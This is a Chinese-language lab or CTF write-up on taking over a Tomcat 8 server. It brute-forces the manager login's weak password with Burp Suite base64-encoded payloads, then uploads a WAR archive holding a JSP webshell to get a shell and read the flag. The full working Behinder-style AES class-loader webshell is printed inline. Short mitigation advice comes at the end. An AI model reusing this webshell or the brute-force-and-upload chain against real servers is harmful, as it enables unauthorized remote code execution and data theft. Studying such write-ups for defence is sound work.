好哥哥的云服务器搭的tomcat8
已经知道
弱口令
影响版本:全版本
影响说明:读取webapp下的所有文件
环境说明:Tomcat 8.0
Tomcat manager 登录界面存在弱口令漏洞,登录成功后有上传点,压缩包 xxx.war
的.war
不会被解析,直接访问 xxx/里面的一句话路径,可直接拿到shell
Tomcat的目录结构
bin-----存放Tomcat的脚本文件,例如启动、关闭
conf----Tomcat的配置文件,例如server.xml和web.xml
lib-----存放Tomcat运行需要的库文件(JAR包)
logs----存放Tomcat执行时的LOG文件
temp----存放Tomcat运行时所产生的临时文件
webapps-Web发布目录,默认情况下把Web应用文件放于此目录
work----存放jsp编译后产生的class文件
里面一些重要的文件,需要了解其作用:
server.xml:配置tomcat启动的端口号、host主机、Context等
web.xml文件:部署描述文件,这个web.xml中描述了一些默认的servlet,部署每个webapp时,都会调用这个文件,配置该web应用的默认servlet
tomcat-users.xml:tomcat的用户密码与权限。
这里是弱口令爆破
抓包上bp,看了一眼是
id:passwd
的形式 还有base64
的编码
选择用Custom iterator
拼接密码进行爆破
playload1
是用户名playload2
是冒号:
playload3
是密码字典
还要记得进行base64编码
取消url编码
最后得到密码
进入后台的manager/html
看到文件上传点
将带有一句话的shell.jsp小马压缩成zip,并且将压缩后的zip文件改名为hhh.war
这里分别上传了一个大马一个小马 上传后 都是下图的OK
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
小马这里直接冰蝎链接
浏览根目录得到flag
通过tomcat-users.xml
还能设置用户名密码 用户权限之类的参数
大马上传方式相同
上传成功后则可直接访问/234/233.jsp
!
也是找到了flag
漏洞防止:
1.后台管理避免弱口令,改账号密码
2.修改权限
<user username="tomcat" password="tomcat" roles="manager-gui"/>
去掉roles属性里的manager
,然后重启tomcat
3.可以选择放弃使用manager
功能或者在manager
的配置文件contex.xml
中设置白名单来限制访问manager
,这样非信任的IP访问都会403 access denied
附上
tomcat漏洞总结